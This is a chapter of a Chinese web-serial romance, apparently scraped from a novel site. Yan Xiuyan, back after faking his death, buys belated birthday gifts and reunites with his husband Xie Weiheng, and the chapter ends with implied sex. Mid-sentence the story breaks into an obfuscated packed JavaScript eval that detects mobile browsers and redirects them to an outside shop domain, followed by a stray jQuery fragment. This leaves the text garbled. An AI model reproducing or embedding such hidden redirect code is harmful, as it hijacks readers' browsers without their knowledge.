初夏的常风,卷着庭院里层层叠叠的树叶,筛下满地细碎斑驳的光影。
燕修延懒懒散散倚在院中凉榻上,一身素色常服松松散散,手肘支着榻沿掌心托着下颌,墨发被微风撩得几缕贴在颊边。
回来已经三天,紧绷半年的心弦终于彻底松弛下来,日子清闲得无所事事。
他目光落向空荡荡的回廊,漫声唤来谢小厮,语气带着几分随意的好奇:“小厮,谢伟恒今年的生辰是怎么过的?”
谢小厮也学着燕修延的模样,蹲在燕修延的身边微微托着下巴,眉眼间染着心疼、叹了口气:“没怎么过的,冷清得很。那天是大朝会少爷天不亮就起身入朝,许是朝堂诸事繁杂吧,回来时已经日暮西沉了。他没用晚膳也没唤任何人伺候,独自一人进书房,枯坐着对着一幅画发了一夜的呆。”
话音落下,往日里无人知晓的孤寂光景,现在开始尽数铺展在燕修延眼前。
那一天的生辰,普天寻常,岁岁年年都有今日,可唯独这一年是谢伟恒最难熬的一天。
半年来朝野风波不断,满朝文武、市井百姓都渐渐淡忘了那个驰骋沙场、鲜衣怒马的燕修延,唯独谢伟恒困在原地,困在思念与执念里,日复一日熬着孤寂。
生辰本是喜乐的时候,可那天的谢伟恒眼底、心里没有半分欢喜。
他坐在清冷的书房里,窗外晚风寂寂屋内烛火摇摇欲坠,桌上摆着已经凉透的茶水,空落落的庭院、空落落的心房。
他肯定是一遍遍看着两人昔日的旧物,一遍遍回想从前的光景。
可今年,谢伟恒孤身一人、无人相伴、无人惦念只剩满室清冷,满心荒芜。
无人知晓他独坐烛火下时悄悄红过多少次眼眶,无人看见他望着空荡荡的位置,心底藏着多少无处言说的思念与委屈。
燕修延听着谢小厮的描述,心口像是被一只温热的手紧紧攥住,密密麻麻的酸胀与酸涩席卷四肢百骸,堵得他连呼吸都带着闷意。
他太清楚谢伟恒发呆时在想什么。
肯定在想那个陪他过光景的人再也回不来了。肯定是在一遍遍细数过往温存,对比现在的形单影只,将思念与苦楚独自一人尽数咽下。
心底的愧疚翻涌不休,层层叠叠。
如果他没有计划假死,如果他没有狠心离开半年,生辰那天肯定是站在谢伟恒身边的。
他会推掉监察司所有繁杂公务,备好满堂欢喜,陪着谢伟恒安安稳稳过完生辰,让谢伟恒眉眼带笑,岁岁无忧,绝不会让他独自一人守着满室冷清暗自神伤。
正当燕修延沉在满心愧疚与心疼中无法自拔时,谢小厮清脆又真诚的声音打断了他的思绪,带着小孩子纯粹的宽慰:“好在你现在回来啦!往后少爷再也不用一个人伤心、不用独自熬过漫漫长夜了。”
一语惊醒梦中人。
燕修延敛去眼底翻涌的酸涩,眸色渐渐柔软下来。
是啊,他回来了。
所有的离别已经成过往,往后岁岁年年他都可以陪着谢伟恒,弥补谢伟恒所有的遗憾。
燕修延心里有了主意,起身,衣摆随动作轻轻扫过榻边的青石,伸手轻轻拍了拍谢小厮的肩膀:“我出去一趟,待会谢伟恒回府你半个字都别透露我的去向,我要给他补一个生辰,送他惊喜。”
谢小厮用力点头,眼睛亮晶晶的,连忙捂住自己的嘴巴一副严守秘密的模样:“明白!保证半个字都不多说!”
待燕修延迈步走出院门,谢小厮才松开手,抿唇偷笑。
他家少夫人总算归来,还特别心疼少爷,今日他一定要守口如瓶,好好成全这份迟来的惊喜。
公主府内,茶香袅袅,清雅满室。
虞湘晔一身华贵常服,仪态温婉从容,亲手为燕修延斟上一盏温热的清茶,青瓷盏落在木桌上发出清脆轻响。
她抬眸看着眼底藏着心疼的燕修延,一眼就看穿了他的心思,似笑非笑开口:“怎么?听说心上人独自熬过生辰,心疼了?”
燕修延端起茶盏抿了一口,温热茶水入喉依旧压不下心底的酸涩,抬眸淡淡反问:“这事若是落在你和李羽飞身上,你难道不心疼?”
虞湘晔毫不犹豫点头,语气真挚又笃定:“自然心疼,疼得彻骨。如果羽飞受了半分委屈,我愿倾尽我所有用尽一切去补偿她,护她岁岁欢愉。”
“停停停,打住。”
燕修延抬手打断她,无奈扶额,眉眼间满是嫌弃:“我今天是来让你帮我出主意、挑生辰礼物的,不是来听你炫耀女女情长、恩爱情深的。”
虞湘晔被他逗得低笑出声,眉眼弯弯,眼底满是狡黠灵动:“好好好,不打趣你了。这样,我先带你去我的私库,里面珍藏的珍宝摆件、首饰玩物数不胜数,挑些合适谢伟恒的就当是你精心准备的心意。挑完之后,我带着羽飞陪你上街再添置些新鲜玩意儿、吃食好物。你回去后……”
话说到最后,她眼底掠过一抹促狭的邪笑,意味深长地挑了挑眉。
燕修延一眼就看透了她未尽的心思,无奈叹气:“你把从前那个天真无邪、端庄温婉的长公主还给我。”
“岁月使然,人总要长大的嘛。”
虞湘晔笑着起身,裙摆曳地,步履轻盈:“好啦,不闹了,随我去私库挑礼物。”
长公主私库偌大宽敞,四面皆是精致木架,层层叠叠摆满了奇珍异宝,珠光温润,流光婉转,金玉、玉石、绸缎、珍宝分门别类摆放,琳琅满目,雅致华贵至极。
虞湘晔穿梭在珍宝架间,细细挑选片刻最终取下一对足金打造的莲花簪,递到燕修延面前。
那金簪做工极为精巧细腻,朵朵莲花开得清雅脱俗,花瓣纹路栩栩如生、层层舒展,不染俗尘。
每一朵莲花底端都垂着几缕细碎圆润的珍珠流苏,珍珠莹白透亮、光泽温润,轻轻一动就会随着风势轻轻晃动,雅致又温柔,不显张扬却藏着极致用心。
“你看这对簪子如何?清雅温润,适配谢伟恒的气质,不艳不俗,日常佩戴、正式场合都可。”虞湘晔轻声点评。
燕修延垂眸细细端详,眼底满是认可缓缓点头:“很好,很合他的性子。”
挑妥簪子,三人即刻出了长公主府,踏上热闹繁华的长街。
暮春初夏的长街烟火鼎盛、人声鼎沸,两旁商铺林立、酒旗迎风舒展,摊贩叫卖声此起彼伏、热闹非凡。
街旁的花摊摆满了盛放的鲜花,姹紫嫣红,馥郁花香漫遍整条街巷。
燕修延目光锁定最亮眼的玫瑰花摊,艳红的玫瑰开得热烈烂漫,层层花瓣饱满艳丽,色泽浓醇,香气馥郁撩人。
他走上前,细细挑选了一大束盛放的红玫瑰,花枝挺拔、花瓣饱满不带半分残损,火红花色衬得周遭烟火都温柔了几分。
虞湘晔站在一旁含笑看着,李羽飞静静站在身侧,眉眼温柔,轻声打趣:“想不到杀伐果断的燕大人,也有这般浪漫细腻的一面。”
燕修延指尖拂过柔软的花瓣,眼底是旁人未见的温柔缱绻:“他值得世间所有温柔浪漫。”
买完玫瑰,三人又辗转穿梭在各个吃食摊铺之间。
京城最负盛名的糕点铺前排着不长的队伍,铺子里的桂花糕、绿豆酥、芙蓉软糕、玫瑰奶糕样样精致。
燕修延毫不客气,每样都挑了最好的品相,细细打包装好,锦盒层层叠叠,装得满满当当。
又买了软糯的糖蒸酥酪、冰镇的蜜渍青梅,都是夏日最适口的甜软吃食。
虞湘晔和李羽飞全程陪着他挑选,耐心十足,还时不时贴心提点。
李羽飞也顺手帮着拎过几包吃食,轻声帮衬:“再带两盒杏仁酥,晨起配茶正好。”
三人走走停停,从夕阳西斜逛到暮色四合,手中的物件越来越多,鲜花、糕点、蜜饯、精致小摆件满满当当,大包小包都是精心挑选的心意,无一敷衍。
暮色沉沉,晚霞染遍天际,晚风带着夏日的微凉。
燕修延提着满满当当的物件归来,一身晚风,满身温柔。
守在门口的谢小厮已经等候多时,见他回来快步上前接过手中所有东西,压低声音,一脸苦色:“我半个字都没透露!但是……少爷今天找不到你发了好大的脾气,神色冷得吓人,你自求多福吧。”
燕修延微微一怔,心头软得一塌糊涂,又酸又暖。
他的谢伟恒,向来温和隐忍极少动怒,今天的大发雷霆哪里是真的生气,不过是一天寻他不得,心底惶恐不安,怕这两日的重逢都是虚幻,怕他再次消失。
“他现在在哪?”燕修延放轻了语气问道。
“一直在书房待着,半步未出。”
谢小厮如实应答,随即晃晃手中的礼盒物件,笑着补充:“东西我先帮你放进卧房了,保证不让少爷提前看见。”
燕修延点头,看着谢小厮轻快跑开的背影,转身抬步走向书房。
抬手轻轻推开书房木门,“吱呀”一声轻响,打破了屋内死寂的氛围。
入目就是满目狼藉。
平日里素来整洁素雅的书房,现在不复往日规整。
桌案上的书卷散落一地,砚台歪斜,墨汁微微晕染了纸面,案上的镇纸、笔架尽数挪了位置,凌乱不堪。
屋内未燃暖香,只剩一室沉沉的冷清寂静。
谢伟恒独自坐在书案前,脊背挺拔却透着难以掩饰的单薄孤寂。
他垂着眸,目光一瞬不瞬落在桌案平铺的一张边关图上。
那是燕修延亲手绘制的,边角已经被反复摩挲得微微发皱。
这半年来,无数个日夜,谢伟恒就是靠着这些旧物支撑,一遍遍看着图,回想他驰骋沙场的模样熬过无尽的思念与孤寂。
整整一天,他寻遍整座府邸都不见燕修延的身影。问遍府中所有人都是闭口不言,一字不答。
心里的惶恐与不安,一点点蔓延、沉淀、发酵最终攒成满心的慌乱与酸涩。
他怕了。
怕这两天朝夕相伴的温存,不过是他日夜执念生出的幻梦。
怕这场失而复得只是黄粱一梦,梦醒之后,依旧只剩他一人,守着空寂府邸。
就在满心寒凉、几近绝望之际
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686069|206799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,木门轻响,一道他日思夜念的身影站在面前。
谢伟恒身子一僵,几乎是下意识地起身、抬步,不等燕修延开口就大步上前,伸手紧紧将人拥入怀中。
他抱得极紧,力道大得仿佛要将眼前之人揉进骨血里,牢牢锁在怀中再也不放手。
温热的怀抱带着极致的眷恋与委屈,微微颤抖的身躯泄露了谢伟恒所有的不安与脆弱。
燕修延突然被拥住,先是一怔随即抬手轻轻环住谢伟恒的腰身,掌心温柔地拍着他的后背:“怎么了?素来沉稳温和、轻易不动怒的人,今天怎么发这么大的火?”
温热的呼吸拂在谢伟恒耳畔,温柔又真切。
谢伟恒将脸埋在燕修延的颈间,鼻尖萦绕着熟悉的气息,委屈与惶恐尽数翻涌而出,声音带着浓重的沙哑与浅浅鼻音:“你今天整整一天去了何处?府里的人我问谁都不肯说。”
他怕梦醒,怕人散,怕这来之不易的重逢,转瞬成空。
燕修延轻轻摩挲着谢伟恒的脊背,温柔安抚着紧绷的身躯:“傻谢伟恒,别胡思乱想。我是偷偷出去给你准备惊喜了。谢小厮告诉我你今年生辰过得冷清,我心里过意不去想好好给你补上一场生辰欢喜。”
说完,他微微退开些许,抬手轻轻捧起谢伟恒的脸。
谢伟恒此刻眼尾泛红,眼底蒙着一层浅浅水光,长睫湿漉漉的,沾着细碎的湿意,明明没放声大哭却满是委屈脆弱,看得人心疼至极。
燕修延指腹温柔擦去他颊边未干的泪痕,眼底盛满温柔笑意,轻声打趣:“我不在这半年,堂堂沉稳书令怎么反倒成了爱哭的小哭泣包?”
谢伟恒看着眼前近在咫尺的眉眼,心头所有的惶恐尽数消散,只剩满心房的温热缱绻。
他不想克制心底的贪恋,低头凑近燕修延的唇,想要落上一个温柔的吻,慰藉多日的思念。
下一瞬却被燕修延轻轻抬手捂住了唇。
燕修延眉眼弯弯,眼底漾着狡黠又温柔的笑意,气息温热撩人:“不急这一时,先回房间,看完我给你准备的礼物,余下的我任你……”
谢伟恒眸色微沉,眼底染上浅浅笑意,顺从地点头任由他牵着自己的手,缓步走出清冷书房。
房间内烛火温柔,暖光融融,驱散了整日的冷清孤寂。
燕修延取来那对精心挑选的金莲珍珠簪,抬手抚过谢伟恒乌黑顺滑的发丝,动作轻柔至极。
他微微倾身将两支金簪一左一右插入谢伟恒的发冠中。
金簪清雅,莲花温婉,珍珠流苏垂落在乌黑发间随着轻微的动作晃动,流光细碎,雅致动人衬得谢伟恒眉眼愈发温润如玉,清雅绝尘。
燕修延指尖捋过垂落的珍珠流苏,触感温润细腻,眸光缱绻,低声呢喃:“忽然觉得这对簪子适合我们当初大婚时佩戴,肯定极好看。”
谢伟恒双臂温柔环住燕修延的腰身,将人牢牢拥在怀中,微微低头额头抵着他的额角:“我觉得平日佩戴也合适,只要是你挑的我都喜欢。”
燕修延心头一甜,拿起桌上一块清甜软糯的玫瑰糕,指尖捏着糕饼递到唇边,轻轻咬下一半。
清甜的玫瑰香气在口腔化开,甜而不腻。
他抬眸看向抱着自己之人含笑的眉眼,微微仰头,凑近谢伟恒。
谢伟恒心领神会,低头张嘴衔住余下的半块糕饼。
唇瓣相触温度交织相融,清甜的糕香混着彼此的气息,暧昧缱绻的氛围瞬间蔓延满室。
下一瞬,谢伟恒俯身稳稳吻住燕修延的唇,顺势揽紧他的腰带着人一起倒在床上。
……
orz-7(法,大法)
燕修延抓着谢伟恒的头发轻轻往后扯:“谢伟恒,等等——我忘记说了……”
“嗯?”
“祝你生日快乐!”
两个时辰后。
温热的浴桶盛着氤氲温水,水汽袅袅,暖意融融,将周身疲惫尽数抚平。
燕修延懒懒地趴在谢伟恒温热的胸膛上,四肢放松,浑身酸软无力,发丝濡湿贴在颈侧,眉眼带着慵懒倦怠:“谢伟恒,明天你教我练字好不好?”
谢伟恒抬手轻轻抚着燕修延湿漉漉的黑发,掌心温柔摩挲着他的后背,动作温柔缱绻,语气带着几分笑意:“你的字挺好看,怎么突然想起要我教你练字了?”
燕修延想起自己的字体,抬眼看向谢伟恒,一双清透的眼眸里藏着几分期待:“你到底愿不愿意教我练字?”
“自然愿意。”
谢伟恒应声,眼底笑意愈发柔和,存心打趣他,“就怕某人明日早起熬不住。”
燕修延忆起刚才缠绵温存,侧过头睨了他一眼:“还不都是你的缘故,耽搁了许久。”
谢伟恒低低笑开,温热呼吸轻拂过他的发顶,语气满是纵容:“是我的不是,是我耽误你歇息了,只不过……”
燕修延身形轻轻一僵,清晰察觉到身下抵来的滚烫硬实,瞬间读懂他话里未尽的深意,耳根发烫:“你又……”
余下所有的话语尽数被谢伟恒温柔炽热的吻彻底吞没。